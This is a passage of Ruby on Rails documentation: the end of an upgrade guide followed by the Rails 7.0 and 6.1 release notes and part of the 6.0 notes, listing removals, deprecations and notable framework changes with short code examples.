12.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

  # Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
  wrap_parameters format: [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
  self.include_root_in_json = false
end

12.7 config/initializers/session_store.rb

You need to change your session key to something new, or remove all sessions:

  # in config/initializers/session_store.rb
AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'

or

  $ bin/rake db:sessions:clear

12.8 Remove :cache and :concat options in asset helpers references in views

With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

Ruby on Rails 7.0 Release Notes

Highlights in Rails 7.0:

Ruby 2.7.0+ required, Ruby 3.0+ preferred

Chapters

Upgrading to Rails 7.0

Major Features

Railties

Removals

Deprecations

Notable changes

Action Cable

Removals

Deprecations

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Deprecations

Notable changes

Action Mailer

Removals

Deprecations

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Storage

Removals

Deprecations

Notable changes

Active Model

Removals

Deprecations

Notable changes

Active Support

Removals

Deprecations

Notable changes

Active Job

Removals

Deprecations

Notable changes

Action Text

Removals

Deprecations

Notable changes

Action Mailbox

Removals

Deprecations

Notable changes

Ruby on Rails Guides

Notable changes

Credits

1 Upgrading to Rails 7.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 6.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 7.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

Remove deprecated config in dbconsole.

3.2 Deprecations

3.3 Notable changes

Sprockets is now an optional dependency

The gem rails doesn't depend on sprockets-rails anymore. If your application still needs to use Sprockets, make sure to add sprockets-rails to your Gemfile.

gem "sprockets-rails"

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

4.2 Deprecations

4.3 Notable changes

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

Remove deprecated ActionDispatch::Response.return_only_media_type_on_content_type.

Remove deprecated Rails.config.action_dispatch.hosts_response_app.

Remove deprecated ActionDispatch::SystemTestCase#host!.

Remove deprecated support to passing a path to fixture_file_upload relative to fixture_path.

5.2 Deprecations

5.3 Notable changes

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

Remove deprecated Rails.config.action_view.raise_on_missing_translations.

6.2 Deprecations

6.3 Notable changes

button_to infers HTTP verb [method] from an Active Record object if object is used to build URL

button_to("Do a POST", [:do_post_action, Workshop.find(1)])
# Before
#=>   <input type="hidden" name="_method" value="post" autocomplete="off" />
# After
#=>   <input type="hidden" name="_method" value="patch" autocomplete="off" />

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Removals

Remove deprecated ActionMailer::DeliveryJob and ActionMailer::Parameterized::DeliveryJob in favor of ActionMailer::MailDeliveryJob.

7.2 Deprecations

7.3 Notable changes

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

Remove deprecated database kwarg from connected_to.

Remove deprecated ActiveRecord::Base.allow_unsafe_raw_sql.

Remove deprecated option :spec_name in the configs_for method.

Remove deprecated support to YAML load ActiveRecord::Base instance in the Rails 4.2 and 4.1 formats.

Remove deprecation warning when :interval column is used in PostgreSQL database.

Now, interval columns will return ActiveSupport::Duration objects instead of strings.

To keep the old behavior, you can add this line to your model:

attribute :column, :string

Remove deprecated support to resolve connection using "primary" as connection specification name.

Remove deprecated support to quote ActiveRecord::Base objects.

Remove deprecated support to type cast to database values ActiveRecord::Base objects.

Remove deprecated support to pass a column to type_cast.

Remove deprecated DatabaseConfig#config method.

Remove deprecated rake tasks:

db:schema:load_if_ruby

db:structure:dump

db:structure:load

db:structure:load_if_sql

db:structure:dump:#{name}

db:structure:load:#{name}

db:test:load_structure

db:test:load_structure:#{name}

Remove deprecated support to Model.reorder(nil).first to search using non-deterministic order.

Remove deprecated environment and name arguments from Tasks::DatabaseTasks.schema_up_to_date?.

Remove deprecated Tasks::DatabaseTasks.dump_filename.

Remove deprecated Tasks::DatabaseTasks.schema_file.

Remove deprecated Tasks::DatabaseTasks.spec.

Remove deprecated Tasks::DatabaseTasks.current_config.

Remove deprecated ActiveRecord::Connection#allowed_index_name_length.

Remove deprecated ActiveRecord::Connection#in_clause_length.

Remove deprecated ActiveRecord::DatabaseConfigurations::DatabaseConfig#spec_name.

Remove deprecated ActiveRecord::Base.connection_config.

Remove deprecated ActiveRecord::Base.arel_attribute.

Remove deprecated ActiveRecord::Base.configurations.default_hash.

Remove deprecated ActiveRecord::Base.configurations.to_h.

Remove deprecated ActiveRecord::Result#map! and ActiveRecord::Result#collect!.

Remove deprecated ActiveRecord::Base#remove_connection.

8.2 Deprecations

Deprecated Tasks::DatabaseTasks.schema_file_type.

8.3 Notable changes

Rollback transactions when the block returns earlier than expected.

Before this change, when a transaction block returned early, the transaction would be committed.

The problem is that timeouts triggered inside the transaction block was also making the incomplete transaction to be committed, so in order to avoid this mistake, the transaction block is rolled back.

Merging conditions on the same column no longer maintain both conditions, and will be consistently replaced by the latter condition.

# Rails 6.1 (IN clause is replaced by merger side equality condition)
Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
# Rails 6.1 (both conflict conditions exists, deprecated)
Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => []
# Rails 6.1 with rewhere to migrate to Rails 7.0's behavior
Author.where(id: david.id..mary.id).merge(Author.where(id: bob), rewhere: true) # => [bob]
# Rails 7.0 (same behavior with IN clause, mergee side condition is consistently replaced)
Author.where(id: [david.id, mary.id]).merge(Author.where(id: bob)) # => [bob]
Author.where(id: david.id..mary.id).merge(Author.where(id: bob)) # => [bob]

9 Active Storage

Please refer to the Changelog for detailed changes.

9.1 Removals

9.2 Deprecations

9.3 Notable changes

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

Remove deprecated enumeration of ActiveModel::Errors instances as a Hash.

Remove deprecated ActiveModel::Errors#to_h.

Remove deprecated ActiveModel::Errors#slice!.

Remove deprecated ActiveModel::Errors#values.

Remove deprecated ActiveModel::Errors#keys.

Remove deprecated ActiveModel::Errors#to_xml.

Remove deprecated support concat errors to ActiveModel::Errors#messages.

Remove deprecated support to clear errors from ActiveModel::Errors#messages.

Remove deprecated support to delete errors from ActiveModel::Errors#messages.

Remove deprecated support to use []= in ActiveModel::Errors#messages.

Remove support to Marshal and YAML load Rails 5.x error format.

Remove support to Marshal load Rails 5.x ActiveModel::AttributeSet format.

10.2 Deprecations

10.3 Notable changes

11 Active Support

Please refer to the Changelog for detailed changes.

11.1 Removals

Remove deprecated config.active_support.use_sha1_digests.

Remove deprecated URI.parser.

Remove deprecated support to use Range#include? to check the inclusion of a value in a date time range is deprecated.

Remove deprecated ActiveSupport::Multibyte::Unicode.default_normalization_form.

11.2 Deprecations

Deprecate passing a format to #to_s in favor of #to_fs in Array, Range, Date, DateTime, Time, BigDecimal, Float and, Integer.

This deprecation is to allow Rails application to take advantage of a Ruby 3.1 optimization that makes interpolation of some types of objects faster.

New applications will not have the #to_s method overridden on those classes, existing applications can use config.active_support.disable_to_s_conversion.

11.3 Notable changes

12 Active Job

Please refer to the Changelog for detailed changes.

12.1 Removals

Removed deprecated behavior that was not halting after_enqueue/after_perform callbacks when a previous callback was halted with throw :abort.

Remove deprecated :return_false_on_aborted_enqueue option.

12.2 Deprecations

Deprecated Rails.config.active_job.skip_after_callbacks_if_terminated.

12.3 Notable changes

13 Action Text

Please refer to the Changelog for detailed changes.

13.1 Removals

13.2 Deprecations

13.3 Notable changes

14 Action Mailbox

Please refer to the Changelog for detailed changes.

14.1 Removals

Removed deprecated Rails.application.credentials.action_mailbox.mailgun_api_key.

Removed deprecated environment variable MAILGUN_INGRESS_API_KEY.

14.2 Deprecations

14.3 Notable changes

15 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

15.1 Notable changes

16 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 6.1 Release Notes

Highlights in Rails 6.1:

Per-database Connection Switching

Horizontal Sharding

Strict Loading Associations

Delegated Types

Destroy Associations Async

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 6.1

Major Features

Per-database Connection Switching

Horizontal Sharding

Strict Loading Associations

Delegated Types

Destroy Associations Async

Railties

Removals

Deprecations

Notable changes

Action Cable

Removals

Deprecations

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Deprecations

Notable changes

Action Mailer

Removals

Deprecations

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Storage

Removals

Deprecations

Notable changes

Active Model

Removals

Deprecations

Notable changes

Active Support

Removals

Deprecations

Notable changes

Active Job

Removals

Deprecations

Notable changes

Action Text

Removals

Deprecations

Notable changes

Action Mailbox

Removals

Deprecations

Notable changes

Ruby on Rails Guides

Notable changes

Credits

1 Upgrading to Rails 6.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 6.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Per-database Connection Switching

Rails 6.1 provides you with the ability to switch connections per-database. In 6.0 if you switched to the reading role then all database connections also switched to the reading role. Now in 6.1 if you set legacy_connection_handling to false in your configuration, Rails will allow you to switch connections for a single database by calling connected_to on the corresponding abstract class.

2.2 Horizontal Sharding

Rails 6.0 provided the ability to functionally partition (multiple partitions, different schemas) your database but wasn't able to support horizontal sharding (same schema, multiple partitions). Rails wasn't able to support horizontal sharding because models in Active Record could only have one connection per-role per-class. This is now fixed and horizontal sharding with Rails is available.

2.3 Strict Loading Associations

Strict loading associations allows you to ensure that all your associations are loaded eagerly and stop N+1's before they happen.

2.4 Delegated Types

Delegated Types is an alternative to single-table inheritance. This helps represent class hierarchies allowing the superclass to be a concrete class that is represented by its own table. Each subclass has its own table for additional attributes.

2.5 Destroy Associations Async

Destroy associations async adds the ability for applications to destroy associations in a background job. This can help you avoid timeouts and other performance issues in your application when destroying data.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

Remove deprecated rake notes tasks.

Remove deprecated connection option in the rails dbconsole command.

Remove deprecated SOURCE_ANNOTATION_DIRECTORIES environment variable support from rails notes.

Remove deprecated server argument from the rails server command.

Remove deprecated support for using the HOST environment variable to specify the server IP.

Remove deprecated rake dev:cache tasks.

Remove deprecated rake routes tasks.

Remove deprecated rake initializers tasks.

3.2 Deprecations

3.3 Notable changes

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

4.2 Deprecations

4.3 Notable changes

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

Remove deprecated ActionDispatch::Http::ParameterFilter.

Remove deprecated force_ssl at the controller level.

5.2 Deprecations

Deprecate config.action_dispatch.return_only_media_type_on_content_type.

5.3 Notable changes

Change ActionDispatch::Response#content_type to return the full Content-Type header.

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

Remove deprecated escape_whitelist from ActionView::Template::Handlers::ERB.

Remove deprecated find_all_anywhere from ActionView::Resolver.

Remove deprecated formats from ActionView::Template::HTML.

Remove deprecated formats from ActionView::Template::RawFile.

Remove deprecated formats from ActionView::Template::Text.

Remove deprecated find_file from ActionView::PathSet.

Remove deprecated rendered_format from ActionView::LookupContext.

Remove deprecated find_file from ActionView::ViewPaths.

Remove deprecated support to pass an object that is not a ActionView::LookupContext as the first argument in ActionView::Base#initialize.

Remove deprecated format argument ActionView::Base#initialize.

Remove deprecated ActionView::Template#refresh.

Remove deprecated ActionView::Template#original_encoding.

Remove deprecated ActionView::Template#variants.

Remove deprecated ActionView::Template#formats.

Remove deprecated ActionView::Template#virtual_path=.

Remove deprecated ActionView::Template#updated_at.

Remove deprecated updated_at argument required on ActionView::Template#initialize.

Remove deprecated ActionView::Template.finalize_compiled_template_methods.

Remove deprecated config.action_view.finalize_compiled_template_methods

Remove deprecated support to calling ActionView::ViewPaths#with_fallback with a block.

Remove deprecated support to passing absolute paths to render template:.

Remove deprecated support to passing relative paths to render file:.

Remove support to template handlers that don't accept two arguments.

Remove deprecated pattern argument in ActionView::Template::PathResolver.

Remove deprecated support to call private methods from object in some view helpers.

6.2 Deprecations

6.3 Notable changes

Require that ActionView::Base subclasses implement #compiled_method_container.

Make locals argument required on ActionView::Template#initialize.

The javascript_include_tag and stylesheet_link_tag asset helpers generate a Link header that gives hints to modern browsers about preloading assets. This can be disabled by setting config.action_view.preload_links_header to false.

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Removals

Remove deprecated ActionMailer::Base.receive in favor of Action Mailbox.

7.2 Deprecations

7.3 Notable changes

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

Remove deprecated methods from ActiveRecord::ConnectionAdapters::DatabaseLimits.

column_name_length table_name_length columns_per_table indexes_per_table columns_per_multicolumn_index sql_query_length joins_per_query

Remove deprecated ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_multi_insert?.

Remove deprecated ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_foreign_keys_in_create?.

Remove deprecated ActiveRecord::ConnectionAdapters::PostgreSQLAdapter#supports_ranges?.

Remove deprecated ActiveRecord::Base#update_attributes and ActiveRecord::Base#update_attributes!.

Remove deprecated migrations_path argument in ActiveRecord::ConnectionAdapter::SchemaStatements#assume_migrated_upto_version.

Remove deprecated config.active_record.sqlite3.represent_boolean_as_integer.

Remove deprecated methods from ActiveRecord::DatabaseConfigurations.

fetch each first values []=

Remove deprecated ActiveRecord::Result#to_hash method.

Remove deprecated support for using unsafe raw SQL in ActiveRecord::Relation methods.

8.2 Deprecations

Deprecate ActiveRecord::Base.allow_unsafe_raw_sql.

Deprecate database kwarg on connected_to.

Deprecate connection_handlers when legacy_connection_handling is set to false.

8.3 Notable changes

MySQL: Uniqueness validator now respects default database collation, no longer enforce case-sensitive comparison by default.

relation.create does no longer leak scope to class-level querying methods in initialization block and callbacks.

Before:

User.where(name: "John").create do |john|
  User.find_by(name: "David") # => nil
end

After:

User.where(name: "John").create do |john|
  User.find_by(name: "David") # => #<User name: "David", ...>
end

Named scope chain does no longer leak scope to class-level querying methods.

class User < ActiveRecord::Base
  scope :david, -> { User.where(name: "David") }
end

Before:

User.where(name: "John").david
# SELECT * FROM users WHERE name = 'John' AND name = 'David'

After:

User.where(name: "John").david
# SELECT * FROM users WHERE name = 'David'

where.not now generates NAND predicates instead of NOR.

Before:

User.where.not(name: "Jon", role: "admin")
# SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'

After:

User.where.not(name: "Jon", role: "admin")
# SELECT * FROM users WHERE NOT (name == 'Jon' AND role == 'admin')

To use the new per-database connection handling applications must change legacy_connection_handling to false and remove deprecated accessors on connection_handlers. Public methods for connects_to and connected_to require no changes.

9 Active Storage

Please refer to the Changelog for detailed changes.

9.1 Removals

Remove deprecated support to pass :combine_options operations to ActiveStorage::Transformers::ImageProcessing.

Remove deprecated ActiveStorage::Transformers::MiniMagickTransformer.

Remove deprecated config.active_storage.queue.

Remove deprecated ActiveStorage::Downloading.

9.2 Deprecations

Deprecate Blob.create_after_upload in favor of Blob.create_and_upload. (Pull Request)

9.3 Notable changes

Add Blob.create_and_upload to create a new blob and upload the given io to the service. (Pull Request)

ActiveStorage::Blob#service_name column was added. It is required that a migration is run after the upgrade. Run bin/rails app:update to generate that migration.

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

10.2 Deprecations

10.3 Notable changes

Active Model's errors are now objects with an interface that allows your application to more easily handle and interact with errors thrown by models. The feature includes a query interface, enables more precise testing, and access to error details.

11 Active Support

Please refer to the Changelog for detailed changes.

11.1 Removals

Remove deprecated fallback to I18n.default_locale when config.i18n.fallbacks is empty.

Remove deprecated LoggerSilence constant.

Remove deprecated ActiveSupport::LoggerThreadSafeLevel#after_initialize.

Remove deprecated Module#parent_name, Module#parent and Module#parents.

Remove deprecated file active_support/core_ext/module/reachable.

Remove deprecated file active_support/core_ext/numeric/inquiry.

Remove deprecated file active_support/core_ext/array/prepend_and_append.

Remove deprecated file active_support/core_ext/hash/compact.

Remove deprecated file active_support/core_ext/hash/transform_values.

Remove deprecated file active_support/core_ext/range/include_range.

Remove deprecated ActiveSupport::Multibyte::Chars#consumes? and ActiveSupport::Multibyte::Chars#normalize.

Remove deprecated ActiveSupport::Multibyte::Unicode.pack_graphemes, ActiveSupport::Multibyte::Unicode.unpack_graphemes, ActiveSupport::Multibyte::Unicode.normalize, ActiveSupport::Multibyte::Unicode.downcase, ActiveSupport::Multibyte::Unicode.upcase and ActiveSupport::Multibyte::Unicode.swapcase.

Remove deprecated ActiveSupport::Notifications::Instrumenter#end=.

11.2 Deprecations

Deprecate ActiveSupport::Multibyte::Unicode.default_normalization_form.

11.3 Notable changes

12 Active Job

Please refer to the Changelog for detailed changes.

12.1 Removals

12.2 Deprecations

Deprecate config.active_job.return_false_on_aborted_enqueue.

12.3 Notable changes

Return false when enqueuing a job is aborted.

13 Action Text

Please refer to the Changelog for detailed changes.

13.1 Removals

13.2 Deprecations

13.3 Notable changes

Add method to confirm rich text content existence by adding ? after name of the rich text attribute. (Pull Request)

Add fill_in_rich_text_area system test case helper to find a trix editor and fill it with given HTML content. (Pull Request)

Add ActionText::FixtureSet.attachment to generate <action-text-attachment> elements in database fixtures. (Pull Request)

14 Action Mailbox

Please refer to the Changelog for detailed changes.

14.1 Removals

14.2 Deprecations

Deprecate Rails.application.credentials.action_mailbox.api_key and MAILGUN_INGRESS_API_KEY in favor of Rails.application.credentials.action_mailbox.signing_key and MAILGUN_INGRESS_SIGNING_KEY.

14.3 Notable changes

15 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

15.1 Notable changes

16 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 6.0 Release Notes

Highlights in Rails 6.0:

Action Mailbox

Action Text

Parallel Testing

Action Cable Testing

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 6.0

Major Features

Action Mailbox

Action Text

Parallel Testing

Action Cable Testing

Railties

Removals

Deprecations

Notable changes

Action Cable

Removals

Deprecations

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Deprecations

Notable changes

Action Mailer

Removals

Deprecations

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Storage

Removals

Deprecations

Notable changes

Active Model

Removals

Deprecations

Notable changes

Active Support

Removals

Deprecations

Notable changes

Active Job

Removals

Deprecations

Notable changes

Ruby on Rails Guides

Notable changes

Credits

1 Upgrading to Rails 6.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Action Mailbox

Pull Request

Action Mailbox allows you to route incoming emails to controller-like mailboxes. You can read more about Action Mailbox in the Action Mailbox Basics guide.

2.2 Action Text

Pull Request

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

You can read more about Action Text in the Action Text Overview guide.

2.3 Parallel Testing

Pull Request

Parallel Testing allows you to parallelize your test suite. While forking processes is the default method, threading is supported as well. Running tests in parallel reduces the time it takes your entire test suite to run.

2.4 Action Cable Testing

Pull Request

Action Cable testing tools allow you to test your Action Cable functionality at any level: connections, channels, broadcasts.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

Remove deprecated after_bundle helper inside plugins templates. (Commit)

Remove deprecated support to config.ru that uses the application class as argument of run. (Commit)

Remove deprecated environment argument from the rails commands. (Commit)

Remove deprecated capify! method in generators and templates. (Commit)

Remove deprecated config.secret_token. (Commit)

3.2 Deprecations

Deprecate passing Rack server name as a regular argument to rails server. (Pull Request)

Deprecate support for using HOST environment to specify server IP. (Pull Request)

Deprecate accessing hashes returned by config_for by non-symbol keys. (Pull Request)

3.3 Notable changes

Add an explicit option --using or -u for specifying the server for the rails server command. (Pull Request)

Add ability to see the output of rails routes in expanded format. (Pull Request)

Run the seed database task using inline Active Job adapter. (Pull Request)

Add a command rails db:system:change to change the database of the application. (Pull Request)

Add rails test:channels command to test only Action Cable channels. (Pull Request)

Introduce guard against DNS rebinding attacks. (Pull Request)

Add ability to abort on failure while running generator commands. (Pull Request)

Make Webpacker the default JavaScript compiler for Rails 6. (Pull Request)

Add multiple database support for rails db:migrate:status command. (Pull Request)

Add ability to use different migration paths from multiple databases in the generators. (Pull Request)

Add support for multi environment credentials. (Pull Request)

Make null_store as default cache store in test environment. (Pull Request)

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

Replace ActionCable.startDebugging() and ActionCable.stopDebugging() with ActionCable.logger.enabled. (Pull Request)

4.2 Deprecations

There are no deprecations for Action Cable in Rails 6.0.

4.3 Notable changes

Add support for the channel_prefix option for PostgreSQL subscription adapters in cable.yml. (Pull Request)

Allow passing a custom configuration to ActionCable::Server::Base. (Pull Request)

Add :action_cable_connection and :action_cable_channel load hooks. (Pull Request)

Add Channel::Base#broadcast_to and Channel::Base.broadcasting_for. (Pull Request)

Close a connection when calling reject_unauthorized_connection from an ActionCable::Connection. (Pull Request)

Convert the Action Cable JavaScript package from CoffeeScript to ES2015 and publish the source code in the npm distribution. (Pull Request)

Move the configuration of the WebSocket adapter and logger adapter from properties of ActionCable to ActionCable.adapters. (Pull Request)

Add an id option to the Redis adapter to distinguish Action Cable's Redis connections. (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

Remove deprecated fragment_cache_key helper in favor of combined_fragment_cache_key. (Commit)

Remove deprecated methods in ActionDispatch::TestResponse: #success? in favor of #successful?, #missing? in favor of #not_found?, #error? in favor of #server_error?. (Commit)

5.2 Deprecations

Deprecate ActionDispatch::Http::ParameterFilter in favor of ActiveSupport::ParameterFilter. (Pull Request)

Deprecate controller level force_ssl in favor of config.force_ssl. (Pull Request)

5.3 Notable changes

Change ActionDispatch::Response#content_type returning Content-Type header as it is. (Pull Request)

Raise an ArgumentError if a resource param contains a colon. (Pull Request)

Allow ActionDispatch::SystemTestCase.driven_by to be called with a block to define specific browser capabilities. (Pull Request)

Add ActionDispatch::HostAuthorization middleware that guards against DNS rebinding attacks. (Pull Request)

Allow the use of parsed_body in ActionController::TestCase. (Pull Request)

Raise an ArgumentError when multiple root routes exist in the same context without as: naming specifications. (Pull Request)

Allow the use of #rescue_from for handling parameter parsing errors. (Pull Request)

Add ActionController::Parameters#each_value for iterating through parameters. (Pull Request)

Encode Content-Disposition filenames on send_data and send_file. (Pull Request)

Expose ActionController::Parameters#each_key. (Pull Request)

Add purpose and expiry metadata inside signed/encrypted cookies to prevent copying the value of cookies into one another. (Pull Request)

Raise ActionController::RespondToMismatchError for conflicting respond_to invocations. (Pull Request)

Add an explicit error page for when a template is missing for a request format. (Pull Request)

Introduce ActionDispatch::DebugExceptions.register_interceptor, a way to hook into DebugExceptions and process the exception, before being rendered. (Pull Request)

Output only one Content-Security-Policy nonce header value per request. (Pull Request)

Add a module specifically for the Rails default headers configuration that can be explicitly included in controllers. (Pull Request)

Add #dig to ActionDispatch::Request::Session. (Pull Request)

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

Remove deprecated image_alt helper. (Commit)

Remove an empty RecordTagHelper module from which the functionality was already moved to the record_tag_helper gem. (Commit)

6.2 Deprecations

Deprecate ActionView::Template.finalize_compiled_template_methods with no replacement. (Pull Request)

Deprecate config.action_view.finalize_compiled_template_methods with no replacement. (Pull Request)

Deprecate calling private model methods from the options_from_collection_for_select view helper. (Pull Request)

6.3 Notable changes

Clear Action View cache in development only on file changes, speeding up development mode. (Pull Request)

Move all of the Rails npm packages into a @rails scope. (Pull Request)

Only accept formats from registered MIME types. (Pull Request, Pull Request)

Add allocations to the template and partial rendering server output. (Pull Request)

Add a year_format option to date_select tag, making it possible to customize year names. (Pull Request)

Add a nonce: true option for javascript_include_tag helper to support automatic nonce generation for a Content Security Policy. (Pull Request)

Add a action_view.finalize_compiled_template_methods configuration to disable or enable ActionView::Template finalizers. (Pull Request)

Extract the JavaScript confirm call to its own, overridable method in rails_ujs. (Pull Request)

Add a action_controller.default_enforce_utf8 configuration option to handle enforcing UTF-8 encoding. This defaults to false. (Pull Request)

Add I18n key style support for locale keys to submit tags. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Removals

7.2 Deprecations

Deprecate ActionMailer::Base.receive in favor of Action Mailbox. (Commit)

Deprecate DeliveryJob and Parameterized::DeliveryJob in favor of MailDeliveryJob. (Pull Request)

7.3 Notable changes

Add MailDeliveryJob for delivering both regular and parameterized mail. (Pull Request)

Allow custom email delivery jobs to work with the Action Mailer test assertions. (Pull Request)

Allow specifying a template name for multipart emails with blocks instead of using just the action name. (Pull Request)

Add perform_deliveries to payload of deliver.action_mailer notification. (Pull Request)

Improve the logging message when perform_deliveries is false to indicate that sending of emails was skipped. (Pull Request)

Allow calling assert_enqueued_email_with without block. (Pull Request)

Perform the enqueued mail delivery jobs in the assert_emails block. (Pull Request)

Allow ActionMailer::Base to unregister observers and interceptors. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

Remove deprecated #set_state from the transaction object. (Commit)

Remove deprecated #supports_statement_cache? from the database adapters. (Commit)

Remove deprecated #insert_fixtures from the database adapters. (Commit)

Remove deprecated ActiveRecord::ConnectionAdapters::SQLite3Adapter#valid_alter_table_type?. (Commit)

Remove support for passing the column name to sum when a block is passed. (Commit)

Remove support for passing the column name to count when a block is passed. (Commit)

Remove support for delegation of missing methods in a relation to Arel. (Commit)

Remove support for delegating missing methods in a relation to private methods of the class. (Commit)

Remove support for specifying a timestamp name for #cache_key. (Commit)

Remove deprecated ActiveRecord::Migrator.migrations_path=. (Commit)

Remove deprecated expand_hash_conditions_for_aggregates. (Commit)

8.2 Deprecations

Deprecate mismatched case-sensitivity collation comparisons for uniqueness validator. (Commit)

Deprecate using class level querying methods if the receiver scope has leaked. (Pull Request)

Deprecate config.active_record.sqlite3.represent_boolean_as_integer. (Commit)

Deprecate passing migrations_paths to connection.assume_migrated_upto_version. (Commit)

Deprecate ActiveRecord::Result#to_hash in favor of ActiveRecord::Result#to_a. (Commit)

Deprecate methods in DatabaseLimits: column_name_length, table_name_length, columns_per_table, indexes_per_table, columns_per_multicolumn_index, sql_query_length, and joins_per_query. (Commit)

Deprecate update_attributes/! in favor of update/!. (Commit)

8.3 Notable changes

Bump the minimum version of the sqlite3 gem to 1.4. (Pull Request)

Add rails db:prepare to create a database if it doesn't exist, and run its migrations. (Pull Request)

Add after_save_commit callback as shortcut for after_commit :hook, on: [ :create, :update ]. (Pull Request)

Add ActiveRecord::Relation#extract_associated for extracting associated records from a relation. (Pull Request)

Add ActiveRecord::Relation#annotate for adding SQL comments to ActiveRecord::Relation queries. (Pull Request)

Add support for setting Optimizer Hints on databases. (Pull Request)

Add insert_all/insert_all!/upsert_all methods for doing bulk inserts. (Pull Request)

Add rails db:seed:replant that truncates tables of each database for the current environment and loads the seeds. (Pull Request)

Add reselect method, which is a short-hand for unscope(:select).select(fields). (Pull Request)

Add negative scopes for all enum values. (Pull Request)

Add #destroy_by and #delete_by for conditional removals. (Pull Request)

Add the ability to automatically switch database connections. (Pull Request)

Add the ability to prevent writes to a database for the duration of a block. (Pull Request)

Add an API for switching connections to support multiple databases. (Pull Request)

Make timestamps with precision the default for migrations. (Pull Request)

Support :size option to change text and blob size in MySQL. (Pull Request)

Set both the foreign key and the foreign type columns to NULL for polymorphic associations on dependent: :nullify strategy. (Pull Request)

Allow a permitted instance of ActionController::Parameters to be passed as an argument to ActiveRecord::Relation#exists?. (Pull Request)

Add support in #where for endless ranges introduced in Ruby 2.6. (Pull Request)

Make ROW_FORMAT=DYNAMIC a default create table option for MySQL. (Pull Request)

Add the ability to disable scopes generated by ActiveRecord.enum. (Pull Request)

Make implicit ordering configurable for a column. (Pull Request)

Bump the minimum PostgreSQL version to 9.3, dropping support for 9.1 and 9.2. (Pull Request)

Make the values of an enum frozen, raising an error when attempting to modify them. (Pull Request)

Make the SQL of ActiveRecord::StatementInvalid errors its own error property and include SQL binds as a separate error property. (Pull Request)

Add an :if_not_exists option to create_table. (Pull Request)

Add support for multiple databases to rails db:schema:cache:dump and rails db:schema:cache:clear. (Pull Request)

Add support for hash and url configs in database hash of ActiveRecord::Base.connected_to. (Pull Request)

Add support for default expressions and expression indexes for MySQL. (Pull Request)

Add an index option for change_table migration helpers. (Pull Request)

Fix transaction reverting for migrations. Previously, commands inside of a transaction in a reverted migration ran uninverted. This change fixes that. (Pull Request)

Allow ActiveRecord::Base.configurations= to be set with a symbolized hash. (Pull Request)

Fix the counter cache to only update if the record is actually saved. (Pull Request)

Add expression indexes support for the SQLite adapter. (Pull Request)

Allow subclasses to redefine autosave callbacks for associated records. (Pull Request)

Bump the minimum MySQL version to 5.5.8. (Pull Request)

Use the utf8mb4 character set by default in MySQL. (Pull Request)

